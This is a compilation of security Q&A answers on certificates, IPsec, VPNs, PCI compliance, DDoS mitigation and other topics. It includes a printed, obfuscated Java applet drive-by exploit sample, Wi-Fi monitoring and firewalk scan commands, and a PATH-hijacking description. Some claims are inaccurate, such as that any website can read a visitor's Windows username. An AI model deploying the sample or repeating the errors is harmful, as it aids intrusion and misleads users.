CA cert with many Subject Alternative Name (SAN) entries, versus individual certs in public production?

Individual ciphers are preferable to monoliths.
The idea of using SANs makes sense if you have, for example, one web server which takes care of several smaller websites (e.g. example.com and internal.example.com). In this case, having one certificate per web server, with SANs for each website reduces the amount of configuration overhead.
However, once you start to create what I like to call a "megacertificate", meaning once certificate with uncountably many SANs, you will run into problems. This certificate, and its associated private key, will likely be distributed to many many different servers, meaning that your private key will be in many different places.
This in turn means that the attack surface has now grown exponentially, as it means one compromised server can now compromise all domains, even if they are on different physical servers.

[+] its easier to standardise the certificate options (i.e. hashing/cyphers) on a shared cert

This is false. First of all, the certificate itself does not define any cryptographic ciphers to be used by TLS, only which cryptographic operations are necessary to validate the certificate.
This means that two different physical servers - let's call them alice.com and bob.com - can use the same certificate (with SAN entries for both), and yet still support completely different sets of ciphers. alice.com could support only state-of-the-art ciphers and bob.com may be stuck using insecure legacy ciphers for interoperability reasons.
The only valid reason I can think of at the moment why you might use SANs - aside from convenience during manual setup - is that an appliance or application may not support uploading several different certificates, yet needs to serve different domains.


Is IKE aggressive mode really less secure than main mode?

It also encrypts the hashed shared key right?

Correct. When using aggressive mode combined with pre-shared key (PSK) authentication the hashes in the second and third messages are sent in the clear. Which means a passive attacker can try to determine the PSK via brute force or dictionary attacks.

With the PSK an active attacker can impersonate the server and collect XAuth secrets (transmitted in the clear), which, unfortunately, was (or still is) often used in combination with aggressive mode and PSK authentication (even in large scale deployments where the PSK could be considered public).

  I guess if I have already cracked the encryption I know the shared key anyway so I don't even need the hash?

That's true for IKEv1, as the PSK is used to derive SKEYID (from which the remaining key material is derived). But not for IKEv2 where an active attacker can get the AUTH payload of the initiator and attack it. Afterwards it could again impersonate the server and collect e.g. EAP-MD5/MSCHAPv2 hashes to brute-force user credentials.


New gateway results in Google and Amazon security lockout, "device not recognized"

Normally your ISP assigns you IP Addresses within the same segment. e.g. an IP Address in the rang 20.40.0.0 - 20.40.255.255 (20.40.0.0/16).
Google and Amazon trust your cookies and credentials in that segment once logged in successfully.

Now the interresting stuff:
If you got a new gateway, maybe your ISP also changed the way you access the internet (e.g. gateway supports new protocols), which caused them to assign you an entirely different IP Address (e.g. 55.123.45.67). That looks to google like someone stole your cookies and tried to login from somewhere else, in which case the go the safe route and just invalidate your session and log you out.
The worst case in that for Google is, that you need to relogin, which should be easy if that account actually belongs to you.

Also a question for you: Why is this question tagged ipsec? ipsec is a VPN protocol (https://en.wikipedia.org/wiki/IPsec)

Greetings


Windows 10 User Profile name - is it ever visible outside network or on internet?

Any decent programming language can get your windows username. Examples:

ASP

ASP can also use Membership.GetUser().UserName

PHP ca use  AUTH_USER request variable and get that even if you don't login to a website.

So the answer is yes, internet browsing can reveal your Windows username at any time.


Is using weak login credentials always bad?

You need to assess the impact of an attack considering at least three aspects: confidentiality, availability, integrity. Here are some points to consider:

Confidentiality: what's the damage if an attacker can see the private data that is protected by your password? Is it personal data? Are there any trade secrets?
Availability: can an attacker make the password-protected data unavailable, either temporarily or permanently? What's the damage if that happens? How much time and money are you going to lose to make your service available again?
Integrity: can an attacker corrupt the password-protected data so that you won't notice it? Can an attacker harm your reputation by modifying the data, or harm your business anyway? Can an attacker insert malware in your data (that you will end up executing because you trust your data)?
Other: are you sure that a stolen password will not lead to further attacks in other areas, for example because of related APIs or services, or password reuse, or social engineering, or other vulnerabilities that would not be exploitable without accessing the private area?

Then ask yourself: what's the cost of adding a few more characters to my insecure passwords? It should not cost you anything. So if you can avoid trouble by making your passwords stronger, then do make them stronger.

That said, strong passwords are not always necessary. For example, you don't need a 16-character random password to protect your Google account. Why? Because Google won't allow bruteforcing the password anyway (they will limit failed attempts, ask for confirmation by sending an SMS, etc.). If you have good protections against bruteforcing, and maybe you also use 2FA, you don't really need a strong password. As long as you don't reuse your password anywhere else, of course. Even the strongest passwords in the universe won't be secure if you are reusing them everywhere.


Keeping the password secret over regular http

In short: Just go to startssl.com and get your SSL certificate for free.

The protocol is not specific enough. If you aim to implement this yourself, you will likely introduce flaws in the signing and encryption steps. How are users going to validate the server's public key here? Do you expect them to compare hex-digits?

You also seem to assume that clients and servers can do custom computation steps, which is not typically the case on the Internet terminals you target. You may consider using the Secure Remote Passwort Protocol (SRP) in this case: trustedhttp.org


How dangerous is it not to load `seccomp` rules for (LXC) development containers?

Security is not a absolute thing as you seem to assume: no thing is dangerous by itself, things are only dangerous when considering a specific threat.

Security can only be defined against a set of precised and factual threats which may affect your platform intended use.

What you say in your question, as per my understanding, is that you do not plan to use LXC for security  purpose (ie. you do not rely on LXC to isolate a compromised application for instance), instead you rely on LXC solely for make cloning and snapshoting local personal experimental environments easier.

From that, the only thing that would matter is may the use of LXC decrease the security of the underlying system in any way: the answer is no, at worse LXC will provide no security benefits but it will not decrease the security of the underlying system (it will have merely the same effect as a chroot). Running an application on an LXC enabled machine will not be less secure that running the same application on the same system with no LXC.

Do not forget though that, if you use LXC to store complete Linux systems (which I think is the most common case), the same security hygiene rules applies both to the host and guests systems:

Do not use weak passwords,
Apply security updates,
Etc.

For a development machine, depending on your actual needs, the attack surface can be greatly reduced by preventing LXC hosted services from be reachable over the network. By keeping such application to listen only on local interfaces, you keep the ability to develop what you want while still ensuring that a remote attacker will not be able to leverage some flaw in your work or the underlying guest to access your system.

As per technical application / stability issues, I am not aware of anything particular. If you encounter any such issues, it should be dealt with individually either on Unix.SE or LXC mailing list for instance.


How can a modern Windows/Linux system be compromised by a heap overflow in Chrome?

Here, the vulnerability does not talk about some program running on your machine. The problem is data being overwritten at the wrong place.
You can find the details of the vulnerability here: http://blog.talosintel.com/2016/06/pdfium.html#more
As mentioned in the webpage:

If in the above call to opj_calloc, which is a calloc wrapper, numcomps value happens to be zero, calloc will return a unique pointer which can be later passed to free (this is implementation dependent, but is so on modern Linux OSes). The unique pointer returned by calloc will usually be a small allocation (0x20 bytes in case of x64 code). This can lead to a heap buffer overflow later in the code when this buffer is being used.
In the above code, l_tccp pointer will be pointing to the previously erroneously allocated area. The same structure is dereferenced during further out of bounds writes in the following code.

Since writing to memory owned by a program is a valid process, an operating system cannot block the above mentioned process.

Prevent execution of the payload by separating the code and data, typically with hardware features such as NX-bit on modern systems.

This is not working because there is no execution of a payload here.

Introduce randomization such that the heap is not found at a fixed
offset.
Introduce sanity checks into the heap manager.

We are explicitly fetching the location to be read from/written to and hence randomization will not work here. This is a simple case of a missed sanity check.
Also, as mentioned in the webpage the Chrome build system already had a fix for it in place, just not in the correct build. The bug has been fixed now.


Difference between Process and Practice in Information Security

Yes you've already got it. Like you mentioned, process is what "should" be done, and practice is what is actually done (akin to theory vs. practice). Try not to get mixed up in minutia like this, though. There are no hard and fast definitions between the terms, and if anyone is being pedantic, just ask them what they're actually talking about.


How to donate a computer without jeopardizing personal information?

Donate your Laptop without a hard driver or replace it by a new one, there a many forensics tools able to restore the deleted data (password, files, visited URLS...)
Deleted files

A common technique used in computer forensics is the recovery of deleted files. Modern forensic software have their own tools for recovering or carving out deleted data.[11] Most operating systems and file systems do not always erase physical file data, allowing investigators to reconstruct it from the physical disk sectors. File carving involves searching for known file headers within the disk image and reconstructing deleted materials.

Data recovery


How can we estimate the time and computing resources needed to break or crack an encryption algorithm and/or password?

First and foremost, I assume you mean AES, not RSA. I also assume integrity is of no concern/is provided in other way, as VeraCrypt does not provide data integrity checks. Furthermore, I assume the attackers only have one version of the data, as XTS is apparently weaker to analysis of changes. I also don't consider side-channels and analysis of the data, as I assume your security is perfect in other areas. All in all, you probably should not use VeraCrypt for file sharing, as there are many problems with it.

Second of all, if you have good enough password, it should not help to have key-files added. Though technically, if I am not mistaken, you may actually want to use 128 characters to achieve the full potential of the three nested ciphers, because each cipher needs 256 bit key, so you want 768 bits of entropy. This is one of the very rare cases where passphrase longer than 64 random characters make sense.

As for cracking the keys using brute force, I don't believe it would be possible before the heat-death of the universe regardless of the advancements in technology and increase in availability. I recently estimated here, that it is possible to crack 14 bit AES key in a day on a good CPU. Getting to even 128 bits seems unfeasible even in decades, without a massive breakthrough. And almost 512 bits are just near impossible. It is currently believed not even quantum computers will actually break these symmetric ciphers.

The other way this may be broken however is breaking of the underlying ciphers. AES-256 already has a known issue, because of which it does not provide full 256 bits of protection. If these ciphers get broken enough (their protection decreases enough, it may be feasible to break this in the far future). However, it is impossible to accurately predict, whether and how much will these ciphers be broken. I would predict, that using three good ciphers should provide protection for at least several decades, probably a lot more. This is simply based on the fact these are already old, popular and well studied and also because there are three of them and all three would have to be weakened significantly.


If my VPN provider sees all my traffic, who sees their traffic?

Your VPN provider can, technically, "see" your traffic, and so can their ISP after it has been "laundered" through the VPN itself.

In this example, I am going to talk about OpenVPN because I am most familiar with it, and most VPNs use it. I am also going to assume we're talking about non-https traffic (like regular HTTP or SMTP mail). When your VPN traffic leaves your computer via the VPN adapter, it is encrypted - i.e., your data is turned into pseudorandom noise, and then a wrapper is placed on it so your ISP can properly route the traffic. The packets have to be routable to the VPN, which means your ISP has to have some information

So, your ISP sees that you have data (that looks like unintelligble garbage). Your ISP sees that you  are sending traffic, but has no idea what it is or where its ultimate destination is. It just knows "I have to send this to x.y.z.a" which is the VPN provider.

Once the packet arrives at the VPN provider, they can decrypt the packet with their private key. At this point, they could cache it, log it, keep it, examine it, etc... But, a reputable VPN would be doing themselves a disservice to do this since it violates the customer trust and such a revelation would put them out of business. Additionally, most of them want the ability to tell a government authority "we can't help you because we don't have logs."

Now, once they decrypt the traffic you sent them, they then forward the traffic on to wherever it is destined to go. At THIS POINT, the traffic is visible to by standers.

But, because you are "emerging" onto the internet from the VPN provider's IP address instead of your own, we have effectively "laundered" your traffic by concealing its source IP address through the VPN provider. Third parties, including the remote webserver, do not know the original source of the traffic. When they reply, they send it back to the VPN, the VPN then re-encrypts it and relays it back to you. So, you now the remote party, but the remote party doesn't know you.

So, assuming that the VPN server at the provider has a big, fat fiber connection, the ISP cannot read inbound packets from you, but can fully read outbound packets that are destined for the remote server. (Later, on the return trip, it can read "inbound" packets from the webserver to the VPN provider, but cannot read "outbound" packets from the VPN provider to you).

So, it looks like this:

You < ---- Encrypted --- > VPN Provider < --- in the clear --- > webserver

Now, if you are visiting an HTTPS site (SSL / TLS) it looks like this:

you < === double encrypted === > VPN provider < --- single encrypted --- >

Because the HTTPS session encrypts your data end-to-end. So, wrapping it in the VPN encrypts the encrypted data while it is en-route from you to the VPN provider. When the VPN provider unwraps it to re-forward it, the payloads it sees are encrypted blobs of data that are useless to them. Only the remote computer can decrypt that data.

So, with https (SSL / TLS) your ISP can't see the data irrespective of the VPN's presence; however, the VPN double encrypting the data conceals where it's going to them and conceals who you are to the remote server. So, there is still added protection here.

A note on DNS

Your VPN connection also should be configured to provide you additional protection for your DNS. The VPN should encrypt the DNS requests to the VPN provider and allow your DNS lookup to take place either at the VPN provider or from the vpn provider giving you plausible deniability that you ever even looked up the site you visited.


Transmitting private keys between devices?

One of the primary purposes for this is to be able to say "We (as a company) have absolutely no way of decrypting your communications", so that's a no-go. It needs to be device-to-device, or encrypted with the private key of a device, etc.

Well, in that case, we have established that both devices must be able to communicate with each other, bidirectionally and in real time, in order to complete the transfer.

In that case, there is really no need for elaborate public-key encryption schemes. In fact, they are more likely to introduce problems.

We also know that lots of people aren't really prepared to physically destroy media, have the capability to do so securely, or even understand why it might be important to do so. Instead, most people tend to just delete the file through the OS, leaving all of the data intact on the media for anyone who comes around to look. So M'vy's suggestion of letting the user copy the key onto media they have physical control over, while good in theory, isn't really a great idea in practice.

Instead, use a key exchange algorithm such as Diffie-Hellman Key Exchange (Wikipedia, RFC 2631) to allow the two devices involved to interactively agree on a shared secret. Since we don't want to reinvent the wheel, use whatever TLS or perhaps SSH/SFTP/SCP libraries are available for your target platform to do the heavy lifting. (Generally speaking, never write crypto code yourself. Odds are great that you will get it wrong, introduce subtle bugs, and leave your users' data at risk of exposure. Let someone else make those mistakes.)

Although unrelated to the cryptography itself, make sure this process involves the user authenticating on both devices in some manner.

Once the two devices have agreed on a shared secret consisting of, say, 32 random bytes, use that shared secret as a symmetric encryption key. AES-256 is good enough for most purposes these days, the 256-bit key having the added benefit of providing a safety margin also in a post-quantum cryptography world, and for a given work factor AES is not very computationally intensive.

Once you have transferred the long-term key from one device to the other and verified that the copy is good, just wipe the temporary encryption keys from both devices and possibly wipe the long-term key from the device it was transferred from (this last is likely to be your biggest problem).


How to view which mac addresses are connected to some AP?

For Windows you can use Kismet, might be a bit less easy to play with like netstumbler, but it records all the APs and all the clients, their beacons and so on.
Also you can export its XML files to several other scripts and programs to get better representation then netstumbler and inssider.

In Linux best answer is aircrack suite: run airodump-ng with the right flags on monitor mode enabled card.

Your screen will be divided into two groups, in the top part you'll see all the AP's your card can see, and at the bottom part of the screen you'll see list of clients, where connected clients will have to their left the mac address of the AP they are connected to.

try
airmon-ng start wlan0 && airodump-ng mon0

where wlan0 is your wifi card

(although just airodump-ng wlan0 will work too)
and of course kismet will work here too.


Potential DoS in emailing admin on error pages

If there is a legitimate use case that triggers a status code 500, there is little you can do to prevent someone from doing just that.

Of course you can add some logic to the website, resulting in the ban of an offender (e.g. identified via source IP address) after triggering a status code 500 too often in a defined amount of time, but finding a suitable threshold can be tricky. You risk banning legitimate users, if you are not careful. Add the possibility of banning a big network because a single offender behind a NAT triggers the protection mechanism, and this option doesn't seem too attractive any more.

The easier solution is reconsidering your alerting mechanism. Why do you need an email every time a single status code 500 is triggered. You can define thresholds on this level as well. To defined suitable thresholds, you should think about the purpose of this mechanism.

Do you want to find new bugs? You should alert only the first few errors for a specific request and investigate the problem. No need to report an already known issue again.

Do you want to identify attacks? You should only alert if a significant amount of errors are triggered. In this case, it is sufficient to send a single mail to initiate further investigation. The response team can gather everything else from the log files.

Those are just two examples. Your intention behind this type of alerting might be entirely different, so you have to come up with a suitable solution that fits your need. Nevertheless, I would consider revamping your alerting strategy more fruitful than preventing its misuse.


Firewalk through a Firewall on our subnet

According to the man page, firewalk looks to need the following flags in order to properly scan when you are one hop from your gateway (as seen in your pretty Gliffy picture).

  firewalk -d 49152 -r 192.168.1.2 192.168.3.11


In my experience ecryptfs has been much slower than dm-crypt but better in read operations than dm-crypt. Not sure why though. I did benchmarks using iozone.


Why use "App Secret" in mobile applications?

App secrets are related to the "Web Server Auth Flow" (notably OAuth2), which is how one server authenticates to the other that is is allowed to access the resources that server provides. You can think of it as an "authorization password," where the password allows the calling service access to the service being called.

Mobile clients must not be trusted, and should never use an app secret; this is an inherent security risk, as it can allow a malicious app access to the service. Once an app secret is out in the wild, the service needs to have it changed to prevent malicious apps from abusing the service on behalf of users.

Note that you can't use replay attacks with OAuth2 because it uses a random number to salt each transaction, although the decompilation issue is still very much a factor. In fact, there have been articles written about the extreme number of Android apps that are vulnerable because of app secrets being leaked.

Once you have an app secret, you can emulate the app that the secret key corresponds to, and you can't tell the difference between an authorized, published app, and a malicious clone. Many developers don't understand that the app secret is the equivalent of a password or a private encryption key, and should be treated as such.

Mobile clients and other untrusted apps (web browser-based apps) should use the "user client auth flow", in which only the app key is used.


Should a browser make its own password manager?

I assume you are asking if you (the user NH) should trust a browser's built-in password manager, or if you should install a third party plugin; and not whether or not Mozilla should develop another password manager.

Before I get started, keep in mind that security isn't just about vulnerabilities or architecture or protocols or passwords; it's an overall idea that you (NH) depend on to protect yourself.

Now, consider that every browser's password manager is almost always specific to that browser, and that browser only.  To use your example, Lockwise will sync and auto-fill passwords in Firefox on your desktop at home, in Firefox on your laptop, in Firefox on your iPhone, and in Firefox on your Android phone.  But it will not enter passwords in Safari on your iPhone, or Chrome on your Android phone.  It is not (yet) a general password manager that will enter passwords for your other apps on your phones, or laptops.

Third party password managers have a different objective.  They attempt to offer as many integrations to apps, operating systems, and browsers as possible so they can truly provide a single keyring.

Virtually all third-party password managers offer browser plug-in components.  Many applications offer integration for authentication plugins.  And for those systems where nothing is offered, most desktop versions of password managers can still use phantom fingers to auto-type your credentials into whatever application windows need them.  Also note that some modern password managers can now replace your iOS keyring, so all your iPhone credentials are managed in the same externally managed database.

So why did I start this by mentioning your overall security?  Because if your password manager doesn't manage every single one of your passwords, as a human you are still likely to choose easy-to-type passwords whenever your credentials are shared across applications or platforms that aren't supported by your password manager.  Choosing "p@ssword" or "12345" for those occasions where your browser's tool doesn't work will likely increase your overall security risks far more than a browser-based password vulnerability.

So in the overall picture, it seems that the most important security attribute of any password manager is the ability to integrate with the greatest number of your own platforms and applications. Maybe Lockwise will do this some day, and you'll be able to use it with Firefox, Safari, Edge, Chrome, Opera, Windows, MacOS, iOS, Android, and Linux.  But for now, it seems that third party password managers offer the best overall integration options, which should provide you with the most overall protection.


How to decrypt a file to memory and run it from memory?

This will be very OS dependent. Any code coming from the outside, no matter how it is created, the OS must assume that it is malicious. An OS created in the 1980s would have just ignored that fact. Today, it is most likely that you have to make some OS call that marks the decrypted data as code, and a call to execute the code inside a sandbox.
If you decrypt data which is then processed, you must also assume that it is malicious, and the code processing it must make sure that it cannot cause any damage by processing malicious data. With .mp3 files that’s not too difficult. Of course someone could send you encrypted image files that get you arrested if you decrypt them.


Possible Malicious Linux.Xor.DDoS installed

Probably it's a false positive as the clamav temporary file /tmp/clamav-71d2ee99f7e011424ab238571d720a88.tmp will contains some signature of malware, these signatures can be detected by chkrootkit and flagged as malicious.


What sort of attacks could be performed by an attacker who can set environment variables?

What about LD_LIBRARY_PATH on Unix/Linux or PATH on Windows? If I manage to get a malicious notepad.exe into C:\windows\temp, I can add this path as first element in the PATH and the malicious file will be executed instead of the real one.


The data (including the key in any form) are passive and they can not verify what time it is now. So it must be a decryption tool that will verify the time. With this in mind you can put the time right into the key (and wrap it with some static key for increased security).

The decryption software residing on the client side will become a weak place, though. Time can be changed by the user but that's not a problem - you can use TSP protocol (RFC 3161) to obtain current time from the reliable TSP server. However the part that will decrypt the key, extract time and verify it becomes the weakest link. You will have to protect it seriously to prevent deobfuscation, decompilation and consequent modification. While no universal solution exists to this task, tools like VMProtect (I mention it cause it uses built-in virtualization) make hackers life a bit harder and will save you from tricks of the average user.

Let's try to invent the key scheme now.

The encryption key K1 is used to encrypt the data. That is the random session key, possibly different for every client installation.

The key K2 is used to encrypt K1. K2 is constructed as "random_part_X + f(random_part_X + year + day_of_year mod 3), where f can be an HMAC or just a hash (that requires additional thinking). Encrypted_K1 and random_part_X are shipped from your server every 2-3 days. It is encrypted with "static" K3 key stored in your decryption software.

When the client-side software needs to use K2 key, it decrypts K2 and has random_part_X.  Then it requests time from the trusted source and performs f(random_part_X + year + day_of_year mod 3) thus reconstructing K2. Now K2 is used to decrypt the received encrypted_k1 and obtain K1 itself. Finally K1 is used to decrypt the data.

If the attacker gets K1, he will be able to decrypt all of the data. So the scheme (a) needs to be complicated further, and (b) you might want to encrypt different pieces of data with different K1 keys. And then again you need to care about possible de-obfuscation, decompilation and debugging of the code that gets K1.


Clear text passwords in and of themselves are not a problem. The problem is with the risks associated with that data. What is the impact to the users, and what is the impact to the company if this data is leaked, disclosed, lost, or corrupted? What if it was publicised that this data was in the clear, as you describe?

If there are no risks, then it does not make sense to implement costly controls around it.

If there are risks, then the controls need to be scaled with those risks.

I know that it is easy to say, "OMG! Clear text passwords from a web app in 2016?! What kind of a company is this? There are numerous libraries that the devs could have called to take care of this from the beginning!" I know I did when I read your post.

But at this point, changes to the environment need to make sense in terms of the risks involved. Your job is not to come up with the most compelling technical or security argument (if one of those arguments would have worked, then the problem would not exist). Instead, your job is to quantify the risks to the company and propose a control appropriate to those risks to mitigate them. That's how you proceed.

If the risks are high and costly and they are still not interested, then ask them if their fire insurance is paid up. Small investments can stave off massive losses, just like insurance.

If you still cannot get them to deal with this, then you are left with the unfortunate, yet valid, situation of leaving this business decision in the hands of the business. They bear the risks. You gave them the needed info to manage those risks appropriately. There is not much else you can do.

But before you get to the fatalistic stage, get a good discussion going around the risks and how you can help them limit the company's exposure.


How to store credit card information for repeated transactions and still be PCI compliant?

Ivan, this is an absolutely huge topic. And you have a bunch of questions here. I'll try to help but this will likely be closed as too broad.

  I'm planning on making a case to the higher-ups that the liabilities of storing CC information outweigh the conveniences of not having to re-ask the customer for numbers, but I know I'm going to get asked how vendors like Amazon and such get away with storing information for repeat purchases, and I have no answer to this.

It's perfectly acceptable to store credit card data, but there are a ton of rules surrounding how you do it - where, how, auditing, etc. There are a lot of books on this subject.

  So, how do vendors like Amazon and everybody else who bills monthly authorize future charges without storing things like CVV info, which is expressly forbidden by PCI DSS v3?

You don't need to have the CVV info at all, it just helps with fraud. After checking it the first time (which can be done without writing it to disk) you can assume the card is not fraudulent. It has done the job it needed to do.

  I read elsewhere that tokens can be created and stored in lieu of stripe info, but isn't possession of a token representing the contents of the stripe just as valuable as the stripe info itself? Anybody with possession of the token could make fraudulent charges, so who cares whether they have that or the actual CC/CVV info?

Tokenization is good if you manage to get the cardholder information out of your environment and into someone else's care. The 'token' is a unique identifier that allows your system to still act in the traditional sense. You provide a list of tokens to your provider and they translate them into the real numbers.

This is good because it is their responsibility to store / process / etc the real numbers. Your liability disappears in this regard.

  Or is token conversion just a way of saying "we're not storing the actual PAN/CVV" and passing along regulatory compliance issues to whoever issued it?

Exactly, except it's to whomever processes it, not who generates the tokens. :)

Edit: a lot of businesses don't take interest without understanding the cost of non compliance.

See http://www.pcistandard.com/card-association-fines/


Blocking incoming traffic from privileged port (< 1024) to mitigate DNS DDos Amplification attacks

Yes!

If your server is a recursive server, block ALL queries from unknown/untrusted sources, regardless of source port. You should also block queries, even from trusted sources, with a source port of 53.

If your server is an authoritative server, yes, you should still block queries with a source port of 53.

In fact, you should block queries with any privileged source port, and even some unprivileged source ports. For instance, 5060 (SIP) is also a good source port to block.

Here's why:

Your server will send its answer back to the source IP and port. Due to the nature of UDP, both can be forged.

In a DDoS attack on a third party's nameserver, the attacker may forge the victim's IP, and the victim service's (DNS) port (UDP 53) and send a query to your server. Your server will then send the (much larger) answer to victim server, and unwittingly become a weapon in the DDoS attack itself.

The very vast majority of nameservers send queries from a random unprivileged source port..  The mere fact that a query purports to be from UDP 53 is itself a strong indicator that it is malicious.

Blocking in this manner won't do much to protect your server from being the victim of a DDoS, but will do help protect your server from being used to help perpetrate a DDoS


I tend to use SysInternals in general and ProcMon (procmon.exe) specifically to monitor what an application does in the system. It will give you all registry operations, DLL operations, etc.


There is "Signing HTTP Requests via JSON Web Signatures" https://tools.ietf.org/html/draft-richanna-http-jwt-signature-00 that specifies a method [although it has expired].

It seems to require that the JWS payload is JSON [which is not true in general for JWS, I believe]. It adds sha256 hashes to the JSON object. For example, for HTTP headers in a canonicalised string of:

content-type: application/json
etag: 742-3u8f34-3r2nvv3

that has sha256 bZA981YJBrPlIzOvplbu3e7ueREXXr38vSkxIBYOaxI, then it adds to the JSON payload:

"h": [["content-type", "etag"], "bZA981YJBrPlIzOvplbu3e7ueREXXr38vSkxIBYOaxI"]

I'm not such a crazy fan of this for the facts that it requires certain top-level keys in the JSON payload, and that it requires a JSON payload at all. For example, seems tricky to use this for a large binary payload.


How can one identify if a ssid is an evil twin before connecting?

Does it really matter?
Just assume that all wifi access points are rogue, and proceed accordingly.

if you're surfing the web, only connect to sites by way of SSL/TLS.  Or, use a VPN.

Run a firewall on your laptop that blocks all incoming connections

If you do the above, then it really doesn't matter if the access point that you are connecting to is rogue.  All traffic passing through the access point will be encrypted, so the access point won't be able to sniff your traffic.  If you are surfing the web, and the access point tries a DNS spoofing attack that directs you to a fake site, or a man-in-the-middle attack, your browser will detect a problem with the host's certificate.  You'll want to apply the same caution to any other services that you use as well, such as POP3, IMAP, SMTP, SSH, etc.  If you assume that all access points and ISP's are rogue, and proceed accordingly, then it won't matter if/when you connect to one that actually is rogue.


Managing critical passwords and data across a small business with a focus on business continuity

Because cost is such a concern, then you need to be able to calculate the cost of downtime in a variety of scenarios. You need to perform that calculation first, then you can compare the costs of tools and determine if they are "worth it".

You might find out that there is no cost to downtime, even extended downtime, but rather bosses or stakeholders might get grumpy if the downtime was longer than their comfort zone. I've been in small start-ups where this was true.

If there is no cost to downtime, then you have no need to solve this problem because there is no problem. If the bosses/stakeholders will get grumpy, then you get them to pay for the tool that will resolve their grumpiness.

You have two basic solutions:

share/store passwords
use a tool that acts as an umbrella login service that grants access to whoever needs it

You can put passwords in an online safe, or a physical one, write them down in spreadsheets, etc. This is cheap, easy, and effective. You pay for the security controls to keep the passwords safe from unauthorised access. For this option, you only need to decide on costs, features, and security. It's a pretty basic analysis for you to determine the better course of action. (For the physical safe, who has the combination? You hope that they are available in the middle of the night. If you encrypt a password file, who holds the decryption key? And so on...)

The other option is to have an umbrella service (IAM, Cloud Services Broker, etc.) that can access everything, and users authenticate to this tool in order to access all the accounts that you need. If your team suddenly needs access to something in an emergency, you just tell the tool to change your access levels and you are on your way. This is the most flexible and most secure approach. It is also the most costly (in my experience).

So, you are not missing out on options. You just need to determine the costs of downtime, the comfort levels of your stakeholders, and which of the two options best meets your needs.


Questions about the 2013 php.net malware

How come a virus can hide itself by running within a memory ?

Most servers are restarted very rarely, perhaps once a year or even longer are common. A server malware can cause sufficiently large damage by running itself once then removing all traces of its executable from the filesystem and live forever until the server is restarted. Many operating systems allows file entries to be removed from the filesystem while remaining open by a process, the file remains accessible in the processes until they die or the process closes the file. Such malware trades off persistence with being harder to detect.


You can see it when browsing from the console; nevertheless I found this malware is hiding somehow; while checking with some known scanners, like sucuri, nothing is found. If you are the owner of this website I'd check the sourcecode.

The malware: it is found in the beginning of the link/file and looks like a drive-by-exploit; see this pastebin for more information.

I checked the corresponding link and it looks like a java-exploit

<applet  archive="IbFGkXLx.jar"  code="GPCwolGqNI.class"  width="24"  height="8">
<param value="65LLRIZ-68LLRYZ-68LLRIZ-64LLRYZ-5aLLRIZ-6fLLRYZ-68LLRIZ-62LLRYZ-5dLLRIZ-5eLLRYZ-5dLLRIZ-27LLRYZ-5bLLRIZ-62LLRYZ-73LLRIZ-33LLRYZ-30LLRIZ-30LLRYZ-2fLLRIZ-2aLLRYZ-28LLRIZ-70LLRYZ-62LLRIZ-67LLRYZ-5dLLRIZ-68LLRYZ-70LLRIZ-6cLLRYZ-27LLRIZ-69LLRYZ-61LLRIZ-69LLRYZ-38LLRIZ-66LLRYZ-5eLLRIZ-5dLLRYZ-62LLRIZ-5aLLRYZ-36LLRIZ-31LLRYZ-1fLLRIZ-5dLLRYZ-5eLLRIZ-66LLRYZ-68LLRIZ-36LLRYZ-2dLLRIZ-31LLRYZ-32LLRIZ-1fLLRYZ-5eLLRIZ-5dLLRYZ-62LLRIZ-6dLLRYZ-68LLRIZ-6bLLRYZ-62LLRIZ-5aLLRYZ-65LLRIZ-36LLRYZ-2dLLRIZ-1fLLRYZ-67LLRIZ-5eLLRYZ-70LLRIZ-6cLLRYZ-36LLRIZ-2eLLRYZ-2aLLRIZ-2cLLRYZ-1fLLRIZ-5cLLRYZ-5aLLRIZ-66LLRYZ-69LLRIZ-5aLLRYZ-62LLRIZ-60LLRYZ-67LLRIZ-36LLRYZ-2aLLRIZ-30LLRYZ-2aLLRIZ-1fLLRYZ-5aLLRIZ-69LLRYZ-69LLRIZ-6cLLRYZ-36LLRIZ-2eLLRYZ-32LLRIZ-1fLLRYZ-6cLLRIZ-64LLRYZ-62LLRIZ-67LLRYZ-36LLRIZ-2fLLRYZ-2eLLRIZ-2eLLRYZ-1fLLRIZ-69LLRYZ-5aLLRIZ-60LLRYZ-5eLLRIZ-36LLRYZ-30LLRIZ-2bLLRYZ-32LLRIZ-1fLLRYZ-60LLRIZ-5aLLRYZ-66LLRIZ-5eLLRYZ-36LLRIZ-2cLLRYZ-29LLRIZ-2fLLRYZ-" name="WaKnezleM" />

How did it get there

.. well, Joomla ....

10:40 UTC:

The malicious IFrame is gone from traficskole; it's either cleaned or the malware is somewhat "intelligent".

This is interesting; when checking given itunes.php right now I get the following stuff back:


What are the benefits of a full format versus a quick format when encrypting an external hard drive?

According to the documentation

  Quick format is much faster but may be less secure because until the whole volume has been filled with files, it may be possible to tell how much data it contains (if the space was not filled with random data beforehand)

Apparently the authors of the document wanted you to know that knowledge of the size of the data would be detectable, even without decrypting the contents. That is a small side channel leak, I suppose. This could allow a criminal team to go through all of your hard drives and figure out which ones have the most data on them, for example.


The most common reason for this is that you are connected to an enterprise network that has active proxying, data loss prevention, filtering or similar. In order to do that for the increasing number of encrypted sessions, "clever" security devices perform a man-in-the-middle attack on your connection by replacing the normal certificate with their own. So now you have an encrypted session with the security device rather than the ultimate end point. The security device makes the onward secure connection itself.

The smarter security devices understand known secure endpoints such as banks and don't bother to intercept their traffic, treating them as trusted end points. Many of these devices perform dynamic risk calculations where you might sometimes get an intercept and sometimes not.

That would certainly cause you to get a warning from PUTTY.

The rule is, never accept a new server signature unless you are absolutely certain you caused it!


Look in your httpd.conf file. Find the line that loads the mod_cgi module, and comment it out. Restart the Apache service. Test to confirm that CGI execution is disabled.


Will separating internet activity and offline activity secure a host?

No, I think V is safer than H. For H you are going for the security-through-obscurity approach, which is always discouraged.

This is because, in my opinion, your assumption that attackers targetting V will not come across H is faulty. For example, most of the latest worms don't only attack a single target system but also try to discover the target networks' topology and neighbouring hosts. So in my opinion it will be better if you take H behind the firewall too and don't expose it directly to the internet.


Are long connections a security vulnerability

From an infosec standpoint, expiring TCP sessions are needed to reduce the possibility of exhausting resources on firewalls, routers and other equipment.

Keepalives help when higher level protocols take a long time between transmissions, e.g., when processing information client side.

The downside to keepalives, especially for wireless customers, is that a perfectly valid connection may be terminated if a keepalive packet is dropped.  I.e., while TCP is a stateful protocol which normally retransmits in the event of packet loss and ACK's segment receipt, the absence of a reply to a keepalive could mean that the other end is down, or that a single packet was lost.

Depending on keepalives can create situations where users over unreliable connections have problems with the application which aren't reproducible.

